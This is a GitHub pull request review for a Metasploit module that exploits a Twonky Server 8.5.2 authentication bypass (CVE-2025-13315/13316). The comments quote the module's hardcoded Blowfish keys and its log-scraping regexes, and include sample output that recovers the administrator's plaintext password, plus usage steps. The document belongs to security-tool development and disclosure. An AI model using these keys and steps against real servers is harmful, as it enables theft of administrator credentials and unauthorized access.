-
Notifications
You must be signed in to change notification settings - Fork 14.6k
Auxiliary module for CVE-2025-13315/CVE-2025-13316 - Twonky Server Log Leak Authentication Bypass #20709
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: master
Are you sure you want to change the base?
Conversation
| refs: references | ||
| ) | ||
|
|
||
| store_loot('Twonky Server Credentials', 'text/plain', datastore['RHOST'], "Username: \"#{username}\" Password: \"#{password}\"") |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
The credentials should also be stored as creds using the store_valid_credential API.
| static_keys = [ | ||
| 'E8ctd4jZwMbaV587', | ||
| 'TGFWfWuW3cw28trN', | ||
| 'pgqYY2g9atVpTzjY', | ||
| 'KX7q4gmQvWtA8878', | ||
| 'VJjh7ujyT8R5bR39', | ||
| 'ZMWkaLp9bKyV6tXv', | ||
| 'KMLvvq6my7uKkpxf', | ||
| 'jwEkNvuwYCjsDzf5', | ||
| 'FukE5DhdsbCjuKay', | ||
| 'SpKNj6qYQGjuGMdd', | ||
| 'qLyXuAHPTF2cPGWj', | ||
| 'rKz7NBhM3vYg85mg' | ||
| ] |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Rather than define the keys every time a password is decrypted, this could be defined once in a method:
def static_keys
[
'E8ctd4jZwMbaV587',
'TGFWfWuW3cw28trN',
'pgqYY2g9atVpTzjY',
'KX7q4gmQvWtA8878',
'VJjh7ujyT8R5bR39',
'ZMWkaLp9bKyV6tXv',
'KMLvvq6my7uKkpxf',
'jwEkNvuwYCjsDzf5',
'FukE5DhdsbCjuKay',
'SpKNj6qYQGjuGMdd',
'qLyXuAHPTF2cPGWj',
'rKz7NBhM3vYg85mg'
]
endAlthough it makes no difference when the decryption method is called only once.
| pattern = /\|\|([0-9A-F]){1}([a-fA-F0-9]{16}(?:[a-fA-F0-9]{4})*)\n/ | ||
| result = res.body.scan(pattern).last | ||
|
|
||
| # If the log has been cleared since the last password change or the server hasn't restarted since setup |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This seems like useful context for the operator.
msutovsky-r7
left a comment
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
msf auxiliary(gather/twonky_authbypass_logleak) > run verbose=true
[*] Running module against 10.5.132.148
[*] Confirming the target is vulnerable
[+] The target is Twonky Server v8.5.2
[*] Attempting to leak the administrator username and encrypted password
[+] The target returned the administrator username: root1
[+] The target returned the encrypted password and key index: f09c824231ae5771fc2100f73fe35da0, 9
[*] Decrypting password using key: SpKNj6qYQGjuGMdd
[+] Credentials decrypted: USER=root1 PASS=supersecret12
[*] Auxiliary module execution completed
| fail_with(Failure::Unknown, 'Connection failed - unable to get log API response') unless res | ||
|
|
||
| # Grab the most recent (last) administrator username value from the logs | ||
| pattern = /accessuser\s*=\s*(\S+)\n/ |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
The newline characters was causing some issues for me, not sure if it's my skill issue or actual issue
| pattern = /accessuser\s*=\s*(\S+)\n/ | |
| pattern = /accessuser\s*=\s*(\S+)/ |
|
|
||
| # Grab the most recent (last) password value from the logs to decrypt | ||
| # "||" + hex number (key index) + hex Blowfish ECB ciphertext | ||
| pattern = /\|\|([0-9A-F]){1}([a-fA-F0-9]{16}(?:[a-fA-F0-9]{4})*)\n/ |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Same here
| pattern = /\|\|([0-9A-F]){1}([a-fA-F0-9]{16}(?:[a-fA-F0-9]{4})*)\n/ | |
| pattern = /\|\|([0-9A-F]){1}([a-fA-F0-9]{16}(?:[a-fA-F0-9]{4})*)/ |
This module leverages an authentication bypass in Twonky Server 8.5.2. By exploiting an authorization flaw to access a privileged web API endpoint and leak application logs, encrypted administrator credentials are leaked (CVE-2025-13315). The exploit will then decrypt these credentials using hardcoded keys (CVE-2025-13316) and login as the administrator. Expected module output is a username and plain text password for the administrator account.
Testing
To set up a test environment:
Verification Steps
use auxiliary/gather/twonky_authbypass_logleakset RHOSTS <TARGET_IP_ADDRESS>set RPORT <TARGET_PORT>runExample Usage
I'll privately share a capture of the module running with a member of the Metasploit team. Thank you!